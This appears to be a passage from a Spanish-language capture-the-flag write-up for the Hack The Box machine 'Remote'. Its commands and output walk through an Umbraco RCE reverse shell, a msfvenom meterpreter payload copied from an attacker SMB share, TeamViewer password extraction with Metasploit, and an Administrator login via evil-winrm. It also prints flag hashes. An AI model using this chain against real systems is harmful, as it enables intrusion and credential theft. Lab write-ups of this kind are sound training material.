remote: Counting objects: 100% (32/32), done.
remote: Compressing objects: 100% (22/22), done.
remote: Total 32 (delta 14), reused 26 (delta 8), pack-reused 0 (from 0)
Recibiendo objetos: 100% (32/32), 15.83 KiB | 771.00 KiB/s, listo.
Resolviendo deltas: 100% (14/14), listo.
┌──(root㉿t0mz)-[/home/kali/ctf/remote]
└─#
Vamos a irnos a la carpeta que nos dejo el clonar el repositorio, en mi caso "Umbraco-RCE" y a listar los directorios:
┌──(root㉿t0mz)-[/home/kali/ctf/remote]
└─# cd Umbraco-RCE
┌──(root㉿t0mz)-[/home/kali/ctf/remote/Umbraco-RCE]
└─# ls
exploit.cs exploit.py LICENSE README.md requirements.txt
┌──(root㉿t0mz)-[/home/kali/ctf/remote/Umbraco-RCE]
└─#
Necesitamos instalar los requerimientos del archivo "requirements.txt" con pip3 para el correcto funcionamiento del script en Python, para eso utilizaremos el comando "pip3 install -r requirements.txt"
, en mi caso ya tengo las dependencias instaladas, asi que voy a proceder directamente con la ejecución del exploit
Para ejecutar el exploit, utilizaremos el siguiente comando:
python3 exploit.py -u admin@htb.local -p baconandcheese -w http://10.10.10.180 -i {IP VPN HTB}
En este caso no le especificariamos el puerto , ya que el exploit de por si mismo, contempla el puerto "4445" como default, por lo que recibiriamos la shell por el puerto 4445
En mi caso el comando quedaria de la siguiente manera:
python3 exploit.py -u admin@htb.local -p baconandcheese -w http://10.10.10.180 -i 10.10.14.12
Ejecutamos:
┌──(venv)─(root㉿t0mz)-[/home/kali/ctf/remote/Umbraco-RCE]
└─# python3 exploit.py -u admin@htb.local -p baconandcheese -w http://10.10.10.180 -i 10.10.14.12
[+] Trying to bind to :: on port 4444: Done
[+] Waiting for connections on :::4444: Got connection from ::ffff:10.10.10.180 on port 49719
[+] Trying to bind to :: on port 4445: Done
[+] Waiting for connections on :::4445: Got connection from ::ffff:10.10.10.180 on port 49720
[*] Logging in at http://10.10.10.180/umbraco/backoffice/UmbracoApi/Authentication/PostLogin
[*] Exploiting at http://10.10.10.180/umbraco/developer/Xslt/xsltVisualize.aspx
[*] Switching to interactive mode
PS C:\windows\system32\inetsrv>
Ya recibiriamos una reverse shell
2.4 Obtención de la flag user
2.4 Obtención de la flag user
La flag de user se encuentra dentro de la ruta absoluta "C:\Users\Public\Desktop\user.txt"
, vamos a visualizarla con el comando "type"
:
PS C:\> type "C:\Users\Public\Desktop\user.txt"
087f41d0953202df61853698d8e836d0
PS C:\>
3- Escalado de privilegios
3.1 Obtención de shell meterpreter
Vamos a pasar esta reverse shell que obtuvimos a una consola de "Meterpreter"
dentro de "Metasploit Framework"
, para utilizar los módulos de post explotación de Metasploit y escalar privilegios, para eso vamos a crear un exploit con "msfvenom"
con el siguiente comando:
msfvenom -p windows/meterpreter/reverse_tcp LHOST={IP VPN HTB} LPORT={Puerto remoto} -f exe -o meterpreter.exe
En mi caso lo estructure de la siguiente manera:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.12 LPORT=443 -f exe -o meterpreter.exe
Ejecutamos:
┌──(root㉿t0mz)-[/home/kali/ctf/remote]
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.12 LPORT=443 -f exe -o meterpreter.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: meterpreter.exe
┌──(root㉿t0mz)-[/home/kali/ctf/remote]
└─#
Y ahora para pasarnos el exploit que acabamos de crear con "msfvenom", vamos a utilizar el servicio SMB con la herramienta "impacket-smbserver", con el siguiente comando:
impacket-smbserver recurso $(pwd) -smb2support
Ejecutamos:
┌──(root㉿t0mz)-[/home/kali/ctf/remote]
└─# impacket-smbserver recurso $(pwd) -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
Y nos volvemos a la reverse shell, y vamos a ubicarnos en un directorio donde tengamos permisos de escritura y lectura, en este caso el directorio "Temp"
dentro de la ruta absoluta "C:\Windows\Temp"
:
PS C:\> cd "C:\Windows\Temp"
PS C:\Windows\Temp>
Y ahora vamos a bajarnos el archivo "meterpreter.exe" dentro de la carpeta Temp con el comando "copy":
copy \\{IP VPN HTB}\{Nombre del recurso}\churrasco.exe {Nombre de salida del archivo}
En mi caso quedaria de la siguiente forma:
copy \\10.10.14.12\recurso\meterpreter.exe meterpreter.exe
Ejecutamos:
PS C:\Windows\Temp> copy \\10.10.14.12\recurso\meterpreter.exe meterpreter.exe
PS C:\Windows\Temp>
Y ahora vamos a irnos a Metasploit Framework para ponernos en escucha:
┌──(root㉿t0mz)-[/home/kali]
└─# msfconsole -q
msf6 >
Seteamos el modulo multiuso "multi/handler"
:
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) >
Seteamos el payload que le especificamos al payload con msfvenom
:
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) >
Y seteamos las opciones de LHOST y LPORT, osea el LHOST y el LPORT que le especificamos al exploit que creamos anteriormente:
msf6 exploit(multi/handler) > set LHOST 10.10.14.12
LHOST => 10.10.14.12
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 4444
msf6 exploit(multi/handler) >
Y nos ponemos en escucha con el comando "run":
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.12:4444
Y ahora podemos ejecutar el exploit dentro de la reverse shell que obtuvimos:
PS C:\windows\Temp> .\meterpreter.exe
PS C:\windows\Temp>
Volvemos a Metasploit Framework:
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.12:443
[*] Sending stage (177734 bytes) to 10.10.10.180
[*] Meterpreter session 1 opened (10.10.14.12:443 -> 10.10.10.180:49734) at 2025-03-02 04:56:28 -0300
meterpreter >
Ahora dentro de la shell de meterpreter, vamos a irnos a la ruta absoluta de "C:\Program Files (x86)" y listamos los directorios:
meterpreter > cd "C:\Program Files (x86)"
meterpreter > dir
Listing: C:\Program Files (x86)
===============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040777/rwxrwxrwx 0 dir 2018-09-15 04:28:48 -0300 Common Files
040777/rwxrwxrwx 4096 dir 2018-09-15 06:06:02 -0300 Internet Explorer
040777/rwxrwxrwx 0 dir 2020-02-19 17:11:33 -0300 MSBuild
040777/rwxrwxrwx 0 dir 2020-02-23 16:19:44 -0300 Microsoft SQL Server
040777/rwxrwxrwx 0 dir 2020-02-23 16:15:23 -0300 Microsoft.NET
040777/rwxrwxrwx 0 dir 2020-02-19 17:11:33 -0300 Reference Assemblies
040777/rwxrwxrwx 0 dir 2020-02-20 04:14:58 -0300 TeamViewer
040777/rwxrwxrwx 4096 dir 2018-09-15 06:05:40 -0300 Windows Defender
040777/rwxrwxrwx 0 dir 2018-09-15 04:19:03 -0300 Windows Mail
040777/rwxrwxrwx 4096 dir 2018-10-29 19:39:47 -0300 Windows Media Player
040777/rwxrwxrwx 0 dir 2018-09-15 04:19:03 -0300 Windows Multimedia Platform
040777/rwxrwxrwx 4096 dir 2018-10-29 19:39:47 -0300 Windows Photo Viewer
040777/rwxrwxrwx 0 dir 2018-09-15 04:19:03 -0300 Windows Portable Devices
040777/rwxrwxrwx 0 dir 2018-09-15 04:19:00 -0300 Windows Sidebar
040777/rwxrwxrwx 0 dir 2018-09-15 04:19:00 -0300 WindowsPowerShell
100666/rw-rw-rw- 174 fil 2018-09-15 04:16:48 -0300 desktop.ini
040777/rwxrwxrwx 0 dir 2018-09-15 04:28:48 -0300 windows nt
meterpreter >
Podemos ver la carpeta "TeamViewer", por lo que se encuentra instalado Team Viewer dentro de esta máquina, dentro de Metasploit Framework hay un modulo que nos permite enumerar las credenciales de Team Viewer de una sesión que tengamos, para utilizarlo primero vamos a dejar en segundo plano la sesión de meterpreter que obtuvimos con el comando "background":
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) >
Y vamos utilizar el modulo "post/windows/gather/credentials/teamviewer_passwords"
:
msf6 exploit(multi/handler) > use post/windows/gather/credentials/teamviewer_passwords
msf6 post(windows/gather/credentials/teamviewer_passwords) >
Vamos a especificarle el numero de la sesión que tenemos en segundo plano, en mi caso, es la sesión 1:
msf6 post(windows/gather/credentials/teamviewer_passwords) > set SESSION 1
SESSION => 1
msf6 post(windows/gather/credentials/teamviewer_passwords) >
Ejecutamos:
msf6 post(windows/gather/credentials/teamviewer_passwords) > run
[*] Finding TeamViewer Passwords on REMOTE
[+] Found Unattended Password: !R3m0te!
[+] Passwords stored in: /root/.msf4/loot/20250302050438_default_10.10.10.180_host.teamviewer__452438.txt
Nos encontró las credenciales "!R3m0te!" por lógica y sentido común, vistas las credenciales anteriormente encontradas y además del usuario por el que obtuvimos acceso al CMS Umbraco, daríamos por sentado que el usuario es "Administrator", asi que para logearnos dentro de Team Viewer, vamos a utilizar la herramienta de Kali "evil-winrm"
que nos permite acceder de forma remota a una maquina, siempre y cuando tengamos las credenciales
Utilizamos el siguiente comando:
evil-winrm -i 10.10.10.180 -u 'Administrator' -p '!R3m0te!'
Ejecutamos:
┌──(root㉿t0mz)-[/home/kali/ctf/remote]
└─# evil-winrm -i 10.10.10.180 -u 'Administrator' -p '!R3m0te!'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
Y ya tendremos acceso con el usuario Administrator
3.2 Obtención de la flag root
3.2 Obtención de la flag root
La flag de root, se encuentra dentro de la ruta absoluta "C:\Users\Administrator\Desktop\root.txt", vamos a visualizarla con "cat" o "type", en mi caso utilizare "cat", ya que se trata de una consola PowerShell:
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat "C:\Users\Administrator\Desktop\root.txt"
229dfd482d2235226ca43a2f88c735bd
*Evil-WinRM* PS C:\Users\Administrator\Documents>
Con esto, concluimos la maquina "Remote" de Hack The Box
Espero te haya sido de ayuda este Write Up :)
Si tuviste alguna dificultad a la hora de resolverlo, no olvides contactarme en mis redes sociales
Última actualización